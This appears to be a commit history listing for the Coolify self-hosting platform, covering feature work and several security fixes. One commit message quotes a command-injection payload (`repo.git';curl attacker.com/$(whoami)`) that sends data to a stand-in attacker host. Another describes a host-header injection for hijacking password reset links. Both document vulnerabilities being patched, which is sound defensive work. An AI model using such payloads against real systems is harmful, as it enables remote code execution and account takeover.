Commit graph

1398 commits

Author SHA1 Message Date
Andras Bacsai
51bada1871 Changes auto-committed by Conductor 2025-10-22 08:29:16 +02:00
Andras Bacsai
f7427fdea0 Changes auto-committed by Conductor 2025-10-17 23:04:24 +02:00
Andras Bacsai
1e360aa156 fix: correct variable name typo in generateGitLsRemoteCommands method 2025-10-16 09:51:37 +02:00
Andras Bacsai
728f261316 Changes auto-committed by Conductor 2025-10-16 09:51:37 +02:00
Andras Bacsai
47916e1b1d
Merge pull request #6889 from coollabsio/andrasbacsai/fix-host-header-injection
feat: implement TrustHosts middleware to handle FQDN and IP address trust logic
2025-10-16 08:56:44 +02:00
Andras Bacsai
3c799df887 fix: use wasChanged() instead of isDirty() in updated hook
Critical Bug Fix:
- isDirty() always returns false in the updated() hook
- Changes are already persisted when updated() runs
- wasChanged() correctly tracks what was modified during save

Affected Code:
- helper_version check: Now properly triggers PullHelperImageJob
- fqdn check: Now properly clears TrustHosts cache

Impact:
 Cache invalidation now works when FQDN changes
 Helper image updates now trigger correctly
 Security fix cache is properly cleared on config changes

This also fixes an existing bug where helper_version updates
never triggered the PullHelperImageJob dispatch.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 22:20:52 +02:00
Andras Bacsai
922884e6d3 feat: implement TrustHosts middleware to handle FQDN and IP address trust logic
This commit fixes a critical Host Header Injection vulnerability in the password reset flow that could lead to account takeover.

Security Issue:
- Attackers could inject malicious host headers (e.g., legitimate.domain.evil.com)
- Password reset emails would contain links to attacker-controlled domains
- Attackers could capture reset tokens and takeover accounts

Changes:
- Enable TrustHosts middleware in app/Http/Kernel.php
- Update TrustHosts to trust configured FQDN from InstanceSettings
- Add intelligent caching (5-min TTL) to avoid DB query on every request
- Automatic cache invalidation when FQDN is updated
- Support for domains, IP addresses (IPv4/IPv6), and ports
- Graceful fallback during installation when DB doesn't exist

Test Coverage:
- Domain validation (with/without ports)
- IP address validation (IPv4, IPv6)
- Malicious host rejection
- Cache creation and invalidation
- Installation edge cases

Performance:
- 99.9% reduction in DB queries (1 query per 5 minutes vs every request)
- Zero performance impact on production workloads

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 22:00:21 +02:00
Andras Bacsai
8f8c90b7ae fix: prevent command injection in git ls-remote operations
**Security Fix: Command Injection Vulnerability**

This commit addresses a critical command injection vulnerability in the
`generateGitLsRemoteCommands` method that could allow low-privileged users
(team members) to execute arbitrary commands as root on the Coolify instance.

**Vulnerability Details:**
- Affected deployment types: `deploy_key` and `source` (GithubApp)
- Attack vector: Malicious git repository URLs containing shell metacharacters
- Impact: Remote code execution as root
- Example payload: `repo.git';curl attacker.com/$(whoami)`

**Changes Made:**

1. **deploy_key deployment type** (Application.php:1111-1112):
   - Added proper escaping for `$customRepository` in git ls-remote commands
   - Uses `str_replace("'", "'\\''", ...)` to escape single quotes for bash -c context
   - Wraps repository URL in single quotes to prevent interpretation of shell metacharacters

2. **source deployment type with GithubApp** (Application.php:1067-1086):
   - Added `escapeshellarg()` for all repository URL variations
   - Covers both public and private repositories
   - Handles both Docker and non-Docker execution contexts

3. **Added comprehensive unit tests** (tests/Unit/ApplicationGitSecurityTest.php):
   - Tests for deploy_key type command injection prevention
   - Tests for source type with public repos
   - Tests for other type (already fixed in previous commit)
   - Validates that malicious payloads are properly escaped

**Note:** The `other` deployment type was already fixed in commit b81baff4b.
This commit completes the security fix for all deployment types.

**Technical Details:**
The fix accounts for the `executeInDocker()` wrapper which uses `bash -c '...'`.
When commands are executed inside `bash -c` with single quotes, we must escape
single quotes as `'\''` to prevent the quotes from closing prematurely and
allowing shell injection.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 14:53:50 +02:00
Andras Bacsai
b81baff4b1 fix: improve logging and add shell escaping for git ls-remote
Two improvements to Git deployment handling:

1. **ApplicationDeploymentJob.php**:
   - Fixed log message to show actual resolved commit SHA (`$this->commit`)
   - Previously showed `$this->application->git_commit_sha` which could be "HEAD"
   - Now displays the actual 40-character commit SHA that will be deployed

2. **Application.php (generateGitLsRemoteCommands)**:
   - Added `escapeshellarg()` for repository URL in 'other' deployment type
   - Prevents shell injection in git ls-remote commands
   - Complements existing shell escaping in `generateGitImportCommands`
   - Ensures consistent security across all Git operations

**Security Impact:**
- All Git commands now use properly escaped repository URLs
- Prevents command injection through malicious repository URLs
- Consistent escaping in both ls-remote and clone operations

**User Experience:**
- Deployment logs now show exact commit SHA being deployed
- More accurate debugging information for deployment issues

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-14 20:44:35 +02:00
Andras Bacsai
f254af0459 security: escape all shell directory paths in Git deployment commands
Ensures all `cd` commands in Git deployment operations use properly escaped
directory paths via `escapeshellarg()` to prevent shell injection vulnerabilities
and handle special characters correctly.

**Changes:**

1. `setGitImportSettings()` method:
   - Added `$escapedBaseDir` variable for consistent path escaping
   - Replaced all 5 instances of `cd {$baseDir}` with `cd {$escapedBaseDir}`
   - Affects: commit checkout, submodules, and LFS operations

2. `generateGitImportCommands()` method (deploy_key type):
   - Replaced 3 instances in pull request handling for GitLab, GitHub/Gitea, Bitbucket

3. `generateGitImportCommands()` method (other type):
   - Replaced 3 instances in pull request handling for GitLab, GitHub/Gitea, Bitbucket

**Security Impact:**
- Prevents shell injection from malicious directory paths
- Fixes parsing issues with special characters (@, ~, spaces)
- Consistent escaping across all deployment types: source, deploy_key, other
- Complements existing URL escaping for comprehensive security

**Testing:**
- All existing unit tests pass (5/5 Git ls-remote parsing tests)
- Code formatted with Laravel Pint

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-14 17:23:28 +02:00
Andras Bacsai
bf00405971 fix(git): handle Git redirects and improve URL parsing for tangled.sh and other Git hosts
Fixes deployment failures when Git repositories redirect (e.g., tangled.sh → tangled.org)
and improves security by adding proper shell escaping for repository URLs.

**Root Cause:**
Git redirect warnings can appear on the same line as ls-remote output with no newline:
`warning: redirecting to https://tangled.org/...196d3df...	refs/heads/master`

The previous parsing logic split by newlines and extracted text before tabs, which
included the entire warning message instead of just the 40-character commit SHA.

**Changes:**

1. **Fixed commit SHA extraction** (ApplicationDeploymentJob.php):
   - Changed from line-based parsing to regex pattern matching
   - Uses `/([0-9a-f]{40})\s*\t/` to find valid 40-char hex commit SHA before tab
   - Handles warnings on same line, separate lines, multiple warnings, and whitespace
   - Added comprehensive Ray debug logs for troubleshooting

2. **Added security fix** (Application.php):
   - Added `escapeshellarg()` for repository URLs in 'other' deployment type
   - Prevents shell injection and fixes parsing issues with special characters like `@`
   - Added Ray debug logs for deployment type tracking

3. **Comprehensive test coverage** (GitLsRemoteParsingTest.php):
   - Tests normal output without warnings
   - Tests redirect warning on separate line
   - Tests redirect warning on same line (actual tangled.sh format)
   - Tests multiple warning lines
   - Tests extra whitespace handling

**Resolves:**
- Linear issue COOLGH-53: Valid git URLs are rejected as being invalid
- GitHub issue #6568: tangled.sh deployments failing
- Handles Git redirects universally for all Git hosting services

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-14 11:55:17 +02:00
Andras Bacsai
635af44539
Merge pull request #6837 from coollabsio/andrasbacsai/custom-webhooks
feat: add custom webhook notification support
2025-10-12 10:57:47 +02:00
Andras Bacsai
6c0840d4e0 refactor: improve cloud-init script UX and remove description field
Changes:
1. Remove description field from cloud-init scripts
   - Updated migration to remove description column
   - Updated model to remove description from fillable array

2. Redesign script name input layout
   - Move script name input next to checkbox (always visible)
   - Remove conditional rendering - input always shown
   - Use placeholder instead of label for cleaner look

3. Fix dropdown type error
   - Replace wire:change event with wire:model.live
   - Use updatedSelectedCloudInitScriptId() lifecycle hook
   - Add "disabled" attribute to placeholder option
   - Properly handle empty string vs null in type casting

4. Improve validation
   - Require both script content AND name for saving
   - Remove description validation rule
   - Add selected_cloud_init_script_id validation

5. Auto-populate name when loading saved script
   - When user selects saved script, auto-fill the name field

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-11 11:16:28 +02:00
Andras Bacsai
7061eacfa5 feat: add cloud-init script support for Hetzner server creation
This commit adds the ability to use cloud-init scripts when creating Hetzner servers through the integration. Users can write custom scripts that will be executed during server initialization, and optionally save these scripts at the team level for future reuse.

Key features:
- Textarea field for entering cloud-init scripts (bash or cloud-config YAML)
- Checkbox to save scripts for later use at team level
- Dropdown to load previously saved scripts
- Scripts are encrypted in the database
- Full validation and authorization checks
- Comprehensive unit and feature tests

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-10 19:37:16 +02:00
Andras Bacsai
556d93ecb8 refactor: remove SendsWebhook interface
Simplified webhook channel implementation to match TelegramChannel pattern without typed interface.

Changes:
- Removed SendsWebhook interface file
- Removed interface from Team model
- Removed routeNotificationForWebhook() method
- WebhookChannel now uses untyped $notifiable like TelegramChannel

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-10 18:08:37 +02:00
Andras Bacsai
dc15bee980 feat: implement actual webhook delivery with Ray debugging
Added actual HTTP POST delivery for webhook notifications and comprehensive Ray debugging for development.

Changes:
- Updated Team model to implement SendsWebhook interface
- Added routeNotificationForWebhook() method to Team
- Enhanced SendWebhookJob with Ray logging for request/response
- Added Ray debugging to WebhookChannel for dispatch tracking
- Added Ray debugging to Webhook Livewire component

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-10 18:07:04 +02:00
Andras Bacsai
27879377a0 feat: add custom webhook notification support
Add basic infrastructure for custom webhook notifications:
- Create webhook_notification_settings table with event toggles
- Add WebhookNotificationSettings model with encrypted URL
- Integrate webhook settings into Team model and HasNotificationSettings trait
- Create Livewire component and Blade view for webhook configuration
- Add webhook navigation route and UI

This provides the foundation for sending webhook notifications to custom HTTP/HTTPS endpoints when events occur in Coolify.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-10 15:37:00 +02:00
Andras Bacsai
f4e5c195fe refactor: replace direct SslCertificate queries with server relationship methods for consistency 2025-10-09 17:00:05 +02:00
Andras Bacsai
bf5c08d071 work work on hetzner integration 2025-10-09 16:54:13 +02:00
Andras Bacsai
704ddf2968 improved hetzner features 2025-10-09 12:53:57 +02:00
Andras Bacsai
215301fa8f basics of adding / removing hetzner servers 2025-10-09 10:41:29 +02:00
Andras Bacsai
c1bcc41546 init of cloud providers 2025-10-08 20:47:50 +02:00
Andras Bacsai
b803a137f6 refactor(global-search, environment): streamline environment retrieval with new query method
- Replaced the inline query for fetching environments in GlobalSearch with a new static method `ownedByCurrentTeam` in the Environment model, enhancing code readability and maintainability.
- This change simplifies the logic for retrieving environments associated with the current team, promoting better organization of query logic within the model.
2025-10-08 19:58:36 +02:00
Andras Bacsai
2c64136503 feat(backup): enhance backup job with S3 upload handling and notifications
- Introduced a new notification class, BackupSuccessWithS3Warning, to alert users when local backups succeed but S3 uploads fail.
- Updated DatabaseBackupJob to track local backup success and handle S3 upload errors, improving error reporting and user notifications.
- Modified ScheduledDatabaseBackupExecution model to include a new s3_uploaded boolean field for tracking S3 upload status.
- Adjusted views and validation logic to reflect changes in backup execution status and S3 handling.
- Added tests to ensure the new s3_uploaded column is correctly implemented and validated.
2025-10-07 15:02:23 +02:00
Andras Bacsai
17505aa03b feat(application): add default NIXPACKS_NODE_VERSION environment variable for Nixpacks applications
- Introduced logic to automatically create a default NIXPACKS_NODE_VERSION environment variable when an application uses the 'nixpacks' build pack.
- Ensured the environment variable is configured with appropriate attributes for build-time usage.
2025-10-05 16:07:36 +02:00
Andras Bacsai
4b947a0d64 refactor(deployment): enhance deployment data retrieval and relationships
- Updated the deployments method in DeploymentsIndicator to include application environment and project relationships for better data context.
- Refactored the application method in ApplicationDeploymentQueue to use Eloquent relationships instead of manual fetching, improving performance and readability.
- Enhanced the deployments indicator view to display application environment and project names, providing clearer deployment context.
2025-10-04 18:02:20 +02:00
Andras Bacsai
4cf600445a feat(service): add Elasticsearch password handling in extraFields method
- Implemented logic to retrieve and display the default user password for Elasticsearch in the extraFields method of the Service model.
- Enhanced data collection for environment variables related to Elasticsearch, improving service configuration management.
2025-10-03 20:05:43 +02:00
Andras Bacsai
b4cfb78f86 feat(storage): add read-only volume handling and UI notifications
- Introduced `isReadOnlyVolume` method in `LocalFileVolume` and `LocalPersistentVolume` models to determine if a volume is read-only based on Docker Compose configuration.
- Updated `FileStorage` and `Show` components to set `isReadOnly` state during mounting.
- Enhanced UI to display notifications for read-only volumes, preventing modification actions in the interface.
- Refactored file storage and directory management forms to conditionally enable or disable actions based on read-only status.
2025-10-03 20:05:43 +02:00
Andras Bacsai
4b0f65c926 refactor(environment-variables): adjust ordering logic for environment variables
- Updated the ordering logic in the environment_variables methods for both Application and Service models to prioritize required variables over service-prefixed keys.
- This change enhances the clarity and organization of environment variable retrieval, ensuring that essential variables are listed first.
2025-10-03 10:28:29 +02:00
Andras Bacsai
f8e97501ce feat(deployments): generate SERVICE_NAME environment variables from Docker Compose services
- Added functionality to generate environment variables for each service defined in the Docker Compose file, transforming service names into uppercase and replacing special characters.
- Updated the service parser to merge these generated variables with existing environment variables, enhancing deployment configuration.
2025-10-03 09:41:59 +02:00
Andras Bacsai
a897e81566 feat(global-search): integrate projects and environments into global search functionality
- Added retrieval and mapping of projects and environments to the global search results.
- Enhanced search result structure to include resource counts and descriptions for projects and environments.
- Updated the UI to reflect the new search capabilities, improving user experience when searching for resources.
2025-09-30 13:37:03 +02:00
Andras Bacsai
1fe7df7e38 fix(git): trim whitespace from repository, branch, and commit SHA fields
- Add automatic trimming in Application model's boot method for git_repository, git_branch, and git_commit_sha fields
- Add real-time trimming in Source Livewire component via updated{Property} methods
- Refresh component state after save to ensure UI displays trimmed values
- Prevents deployment issues caused by accidental whitespace in git configuration
2025-09-30 12:33:40 +02:00
Andras Bacsai
c98266c09d refactor(application): improve handling of docker compose domains by normalizing keys and ensuring valid JSON structure 2025-09-29 12:14:26 +02:00
Andras Bacsai
a1f865c1fd feat(application): add normalizeWatchPaths method to improve watch path handling 2025-09-26 13:17:21 +02:00
Andras Bacsai
54f6813f29 feat(application): enhance watch path parsing to support negation syntax 2025-09-26 13:05:32 +02:00
Andras Bacsai
8b4aa7f31d chore(application): remove debugging statement from loadComposeFile method 2025-09-26 13:00:12 +02:00
Andras Bacsai
f0b231b5db fix(models): update sorting of scheduled database backups to order by creation date instead of name 2025-09-26 08:24:38 +02:00
Andras Bacsai
0691a1834a feat(application): implement order-based pattern matching for watch paths with negation support 2025-09-25 14:26:11 +02:00
Andras Bacsai
708a08fdd6 fix(application): enhance domain handling by replacing both dots and dashes with underscores for HTML form binding 2025-09-25 13:19:12 +02:00
Andras Bacsai
2b402c9ce9
Update app/Models/TeamInvitation.php
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
2025-09-25 11:33:32 +02:00
Andras Bacsai
3f71f7becf
Merge pull request #6628 from heavygee/fix/team-invitation-email-case-sensitivity
Fix team invitation email case sensitivity bug
2025-09-25 09:29:24 +02:00
Andras Bacsai
c97874eb45 fix(team): clear stripe_subscription_id on subscription end
- Updated the subscriptionEnded method to set stripe_subscription_id to null when a subscription ends, ensuring proper handling of subscription state.
2025-09-23 11:00:10 +02:00
Andras Bacsai
33d25f418e refactor(databases): update backup queries to use team-specific method
- Modified backup retrieval logic in DatabasesController to utilize the new ownedByCurrentTeamAPI method for improved access control based on team ID.
- Enhanced code consistency and maintainability by centralizing team-based filtering in the ScheduledDatabaseBackup model.
2025-09-22 17:47:46 +02:00
Andras Bacsai
bb06a74fee refactor(databases): streamline backup queries to use team context
- Updated backup retrieval logic in DatabasesController to utilize the new ownedByCurrentTeam method for improved access control.
- Enhanced code readability and maintainability by centralizing team-based filtering in the ScheduledDatabaseBackup model.
2025-09-22 17:45:37 +02:00
Andras Bacsai
5c6ab50332 fix(databases): update backup retrieval logic to include team context
- Modified backup configuration queries in the DatabasesController to filter by team ID, ensuring proper access control.
- Enhanced S3 storage retrieval to use the current team context for better data integrity.
- Added a relationship method in ScheduledDatabaseBackup model to associate backups with teams.
2025-09-22 17:44:26 +02:00
Andras Bacsai
3f48dcb575 feat(redaction): implement sensitive information redaction in logs and commands 2025-09-19 15:54:44 +02:00
Andras Bacsai
d8d316b5f8 feat(search): implement global search functionality with caching and modal interface 2025-09-19 10:17:55 +02:00
Andras Bacsai
f33df13c4e feat(environment): replace is_buildtime_only with is_runtime and is_buildtime flags for environment variables, updating related logic and views 2025-09-18 18:14:54 +02:00
GitHub Actions
c1c149968e Fix team invitation email case sensitivity bug
- Add email normalization to TeamInvitation model using setEmailAttribute()
- Add HasFactory trait to Team model for testing support
- Create TeamFactory for testing
- Add tests to verify email normalization works correctly
- Fixes issue where mixed case emails in invitations would cause lookup failures
- Resolves #6291

The bug occurred because:
1. User model normalizes emails to lowercase
2. TeamInvitation model did not normalize emails
3. When invitation was created with mixed case, it was stored as-is
4. User lookup failed due to case mismatch during invitation acceptance
5. This caused users to not be able to see teams they were invited to

This fix ensures both models normalize emails consistently.
2025-09-16 15:31:48 +01:00
Andras Bacsai
4f8dfa598e refactor(server): remove debugging ray call from validateConnection method for cleaner code 2025-09-16 09:43:51 +02:00
Andras Bacsai
133e72336a Revert "refactor(file-transfer): replace base64 encoding with direct file transfer method in various components for improved clarity and efficiency"
This reverts commit feacedbb04.
2025-09-15 17:56:48 +02:00
Andras Bacsai
393745b68c Revert "refactor(file-transfer): replace base64 encoding with direct file transfer method across multiple database actions for improved clarity and efficiency"
This reverts commit 18068857b1.
2025-09-15 17:55:08 +02:00
Andras Bacsai
7eb0c5a757 fix(application): improve watch paths handling by trimming and filtering empty paths to prevent unnecessary triggers 2025-09-15 13:59:14 +02:00
Andras Bacsai
4027c1426c feat(sentinel): add support for custom Docker images in StartSentinel and related methods 2025-09-14 19:21:55 +02:00
Andras Bacsai
8e155f25b3 refactor(environment): streamline environment variable handling by replacing sorting methods with direct property access and enhancing query ordering for improved performance 2025-09-12 12:09:03 +02:00
Andras Bacsai
20ad2165e7 feat(environment): introduce 'is_buildtime_only' attribute to environment variables for improved build-time configuration 2025-09-11 17:38:16 +02:00
Andras Bacsai
5b3b4bbc43 refactor(environment): remove 'is_build_time' attribute from environment variable handling across the application to simplify configuration 2025-09-11 16:51:56 +02:00
Andras Bacsai
ab0786f5a0 feat(environment): add 'is_literal' attribute to environment variable for enhanced configuration options 2025-09-11 15:25:44 +02:00
Andras Bacsai
501e6a2650 refactor(environment): standardize service name formatting by replacing '-' and '.' with '_' in environment variable keys 2025-09-11 13:59:02 +02:00
Andras Bacsai
c8f49f29c0 refactor(application): enhance environment variable retrieval in configuration change check for improved accuracy 2025-09-11 12:29:57 +02:00
Andras Bacsai
d9ebf3b142 refactor(webhook): remove Webhook model and related logic; add migrations to drop webhooks and kubernetes tables 2025-09-10 19:35:53 +02:00
Andras Bacsai
f64622c764 refactor(models): remove 'is_readonly' attribute from multiple database models for consistency 2025-09-10 19:34:49 +02:00
Andras Bacsai
cead87d650 refactor(private-key): remove debugging statement from storeInFileSystem method for cleaner code 2025-09-10 08:19:25 +02:00
Andras Bacsai
a60d6dadc7 fix(private-key): implement transaction handling and error verification for private key storage operations 2025-09-09 16:46:38 +02:00
Andras Bacsai
feacedbb04 refactor(file-transfer): replace base64 encoding with direct file transfer method in various components for improved clarity and efficiency 2025-09-09 11:10:38 +02:00
Andras Bacsai
45ca76ed1c fix(LocalFileVolume): add missing directory creation command for workdir in saveStorageOnServer method 2025-09-09 08:56:00 +02:00
Andras Bacsai
18068857b1 refactor(file-transfer): replace base64 encoding with direct file transfer method across multiple database actions for improved clarity and efficiency 2025-09-08 14:04:24 +02:00
Andras Bacsai
4bd29bf966 refactor(ssh): enhance error handling in SSH command execution and improve connection validation logging 2025-09-07 18:45:44 +02:00
Andras Bacsai
9c3345318a fix(user): ensure email attributes are stored in lowercase for consistency and prevent case-related issues 2025-09-05 17:44:34 +02:00
Andras Bacsai
339118558c feat(settings): add option to restrict PR deployments to repository members and contributors 2025-09-05 14:30:51 +02:00
Andras Bacsai
7fe6a4198d fix(previews): simplify FQDN generation logic by removing unnecessary empty check 2025-08-28 10:11:56 +02:00
peaklabs-dev
6c560261f2
refactor(git): improve submodule cloning 2025-08-27 17:13:28 +02:00
broesch
c2ff9eae0d
fix(git): submodule update command uses an unsupported option (#6454) 2025-08-27 16:51:08 +02:00
Andras Bacsai
63fcc0ebc3 feat(acl): Change views/backend code to able to use proper ACL's later on. Currently it is not enabled. 2025-08-26 10:27:38 +02:00
Andras Bacsai
8408205955 feat(validation): add custom validation rules for Git repository URLs and branches
- Introduced `ValidGitRepositoryUrl` and `ValidGitBranch` validation rules to ensure safe and valid input for Git repository URLs and branch names.
- Updated relevant Livewire components and API controllers to utilize the new validation rules, enhancing security against command injection and invalid inputs.
- Refactored existing validation logic to improve consistency and maintainability across the application.
2025-08-22 14:38:21 +02:00
Andras Bacsai
a6fc39e798 feat(git-settings): add support for shallow cloning in application settings
- Introduced a new boolean setting `is_git_shallow_clone_enabled` to the application settings model.
- Updated the `Advanced` component to include a checkbox for enabling shallow cloning.
- Modified the `setGitImportSettings` and `generateGitImportCommands` methods to handle shallow clone logic.
- Created a migration to add the new setting to the database schema.
- Enhanced the deployment process to utilize shallow cloning for improved performance.
2025-08-21 10:16:57 +02:00
Andras Bacsai
38c0641734 feat(validation): centralize validation patterns for names and descriptions
- Introduced `ValidationPatterns` class to standardize validation rules and messages for name and description fields across the application.
- Updated various components and models to utilize the new validation patterns, ensuring consistent sanitization and validation logic.
- Replaced the `HasSafeNameAttribute` trait with `HasSafeStringAttribute` to enhance attribute handling and maintain consistency in name sanitization.
- Enhanced the `CleanupNames` command to align with the new validation rules, allowing for a broader range of valid characters in names.
2025-08-19 12:14:48 +02:00
Andras Bacsai
e958b3761d feat(cleanup): add command for sanitizing name fields across models
- Introduced `CleanupNames` command to sanitize name fields by removing invalid characters, ensuring only letters, numbers, spaces, dashes, underscores, and dots are retained.
- Implemented options for dry run, model-specific cleaning, database backup, and forced execution.
- Updated `Init` command to call the new `cleanup:names` command.
- Enhanced project and environment validation to enforce name sanitization rules.
- Added `HasSafeNameAttribute` trait to relevant models for consistent name handling.
2025-08-19 11:04:23 +02:00
Pritam Yadav
f01341bfbf
fix(ui): handle null values in postgres metrics (#6388) 2025-08-18 17:39:30 +02:00
Andras Bacsai
ee502b9f76 feat(email): implement email change request and verification process
- Added functionality for users to request an email change, including generating a verification code and setting an expiration time.
- Implemented methods in the User model to handle email change requests, code validation, and confirmation.
- Created a new job to update the user's email in Stripe after confirmation.
- Introduced rate limiting for email change requests and verification attempts to prevent abuse.
- Added a new notification for email change verification.
- Updated the profile component to manage email change requests and verification UI.
2025-08-18 14:54:08 +02:00
Andras Bacsai
73cdbd501c fix(ApplicationPreview): change null check to empty check for fqdn in generate_preview_fqdn method 2025-08-17 15:34:36 +02:00
Andras Bacsai
c9ddda8ed2 feat(drizzle-gateway): enhance service configuration by adding Master Password field and updating compose file path 2025-08-12 10:07:11 +02:00
Andras Bacsai
a2ef545b6b feat(changelog): implement automated changelog fetching from GitHub and enhance changelog read tracking 2025-08-12 10:07:11 +02:00
Andras Bacsai
0e7cc988a6 feat(user): add changelog read tracking and unread count method 2025-08-12 10:06:19 +02:00
Andras Bacsai
e8892b3d29 feat(core): finally fqdn is fqdn and url is url. haha 2025-08-12 10:06:19 +02:00
Andras Bacsai
a0bc4dac55 fix(application): streamline environment variable updates for Docker Compose services and enhance FQDN generation logic 2025-08-12 10:06:19 +02:00
Andras Bacsai
13f10028db feat(previews): implement soft delete and cleanup for ApplicationPreview, enhancing resource management in DeleteResourceJob 2025-07-14 21:17:40 +02:00
Andras Bacsai
5bdf2e8481 refactor(previews): move preview domain generation logic to ApplicationPreview model for better encapsulation and consistency across webhook handlers 2025-07-14 19:12:57 +02:00
Andras Bacsai
a9e542bc4b fix(previews): enhance domain generation logic for application previews, ensuring unique domains are created when none are set 2025-07-14 15:42:01 +02:00
Andras Bacsai
e5a0cdf3b7 fix(previews): order application previews by pull request ID in descending order 2025-07-14 15:22:02 +02:00
Andras Bacsai
0b84792871 feat(deployment): add pull request filtering and pagination to deployment and backup execution components
fix(ui): make them more stylish yeah
2025-07-13 12:36:53 +02:00
Andras Bacsai
95da765a9e fix(deployment): improve docker-compose domain handling and environment variable generation 2025-07-07 16:07:08 +02:00
Andras Bacsai
085529dc63 fix(deployment): enhance COOLIFY_URL and COOLIFY_FQDN variable generation for better compatibility 2025-07-07 12:55:35 +02:00
Andras Bacsai
6a90bdf9fa fix(env): Generate literal env variables better 2025-07-07 12:30:44 +02:00
Andras Bacsai
0f876db6c8 fix(server): prepend 'mux_' to UUID in muxFilename method for consistent naming 2025-06-28 13:56:57 +02:00
Andras Bacsai
24b6b32025 fix(models): improve user deletion logic in User model to handle team member roles and prevent deletion if user is alone in root team 2025-06-26 09:10:48 +02:00
Andras Bacsai
be73d5cd76 fix(models): refine comment wording in User model for clarity on user deletion criteria 2025-06-26 09:07:55 +02:00
Andras Bacsai
e746e212cb refactor(user): streamline user deletion process and enhance team management logic 2025-06-25 12:14:35 +02:00
Andras Bacsai
8fc79022f3 feat(service): enhance service status handling and UI updates 2025-06-24 12:52:22 +02:00
Yassir Elmarissi
a77bd88258
feat(auth): Add Clerk OAuth Provider (#5553) 2025-06-18 14:29:46 +02:00
Andras Bacsai
ddcb14500d refactor(proxy-status): refactored how the proxy status is handled on the UI and on the backend
feat(cloudflare): improved cloudflare tunnel automated installation
2025-06-06 14:47:54 +02:00
Andras Bacsai
200b5cd4fb refactor(service-management): enhance container stopping logic by implementing parallel processing and removing deprecated methods 2025-05-30 12:56:22 +02:00
Andras Bacsai
c8bc80f448 refactor(environment-variables): simplify application build pack check in environment variable handling 2025-05-30 09:11:54 +02:00
Andras Bacsai
46b4cfac68 feat(terminal-access): implement terminal access control for servers and containers, including UI updates and backend logic 2025-05-29 14:09:05 +02:00
Andras Bacsai
2361c34a53 refactor(error-handling): replace generic Exception with RuntimeException for improved error specificity 2025-05-29 10:49:55 +02:00
Andras Bacsai
102bdb5bc3 refactor(application): enhance application stopping logic to support multiple servers 2025-05-26 21:44:34 +02:00
Andras Bacsai
6ea6d2742b feat(server): implement server patch check notifications
- Added a new job, ServerPatchCheckJob, to handle server patch checks and notifications.
- Introduced a new notification class, ServerPatchCheck, for sending updates via email, Discord, Slack, Pushover, and Telegram.
- Updated notification settings models to include server patch notification options for email, Discord, Slack, Pushover, and Telegram.
- Created a migration to add server patch notification fields to the respective settings tables.
- Enhanced the UI to allow users to enable/disable server patch notifications across different channels.
2025-05-26 14:03:59 +02:00
Arnaud Dezandee
587a927b8b
feat(oauth): set redirect uri as optional and add default value (#5760) 2025-05-20 14:35:39 +02:00
Andras Bacsai
d298de7a4d refactor(StandaloneMariadb): add type hint for destination method to improve code clarity 2025-04-30 21:15:03 +02:00
Andras Bacsai
019ed43448 refactor(actions): standardize method naming for network and configuration deletion across application and service classes 2025-04-30 18:30:43 +02:00
Andras Bacsai
fe24296de7 feat(backup): implement custom database type selection and enhance scheduled backups management 2025-04-30 16:44:44 +02:00
Andras Bacsai
e062edb689 refactor(core): streamline container stopping process and reduce timeout duration; update related methods for consistency 2025-04-30 15:28:59 +02:00
Andras Bacsai
4e82383b94 fix(Server): Correct proxy path formatting for Traefik proxy type 2025-04-29 10:53:39 +02:00
Andras Bacsai
09b10073b8 chore(versions): update coolify version to 4.0.0-beta.412 and nightly version to 4.0.0-beta.413 in configuration files 2025-04-23 14:17:13 +02:00
Andras Bacsai
5b9df7fd45 refactor(server): simplify proxy path logic and remove unnecessary conditions 2025-04-23 13:23:27 +02:00
Andras Bacsai
78ef80f800 refactor 2025-04-23 13:22:01 +02:00
Andras Bacsai
0dceb40a6e feat(api): add HTTP Basic Authentication fields to OpenAPI specifications and enhance PrivateKey model descriptions 2025-04-23 11:59:01 +02:00
Andras Bacsai
9e608f7ba5 refactor(http-basic-auth): rename 'http_basic_auth_enable' to 'http_basic_auth_enabled' across application files for consistency 2025-04-22 21:30:27 +02:00
Andras Bacsai
7e0373e439
Merge branch 'next' into feat/add-http-basic-auth 2025-04-22 21:18:43 +02:00
Andras Bacsai
6d12e7edc7 refactor(database): simplify database type checks in ServiceDatabase and enhance image validation in Docker helper 2025-04-21 09:57:27 +02:00
Andras Bacsai
c388e30499 refactor(jobs): comment out unused Caddy label handling in ApplicationDeploymentJob and simplify proxy path logic in Server model 2025-04-20 17:58:41 +02:00
Christopher Kaster
2634f516d5
feat: Add HTTP Basic Authentication 2025-04-17 14:14:32 +02:00
Andras Bacsai
89bf1b30cb fix(application): append base directory to git branch URLs for improved path handling 2025-04-16 15:09:45 +02:00
Andras Bacsai
32326bb7dd feat(subscription): enhance subscription management with loading states and Stripe status checks 2025-04-14 10:31:13 +02:00
Andras Bacsai
8b3c4d7ad9 refactor(Server): remove debug logging from isReachableChanged method to clean up code and improve performance 2025-04-14 10:30:53 +02:00
Laurence
44e96e032f
enhance: Add missing openapi items to PrivateKey 2025-04-11 20:37:54 +01:00
Andras Bacsai
46fe0fd7c6 refactor(ApplicationDeploymentJob, ApplicationDeploymentQueue): improve deployment status handling and log entry management with transaction support 2025-04-11 19:32:41 +02:00
Andras Bacsai
68bd945b09 refactor(Application): rename network_aliases to custom_network_aliases across the application for clarity and consistency 2025-04-09 08:42:50 +02:00
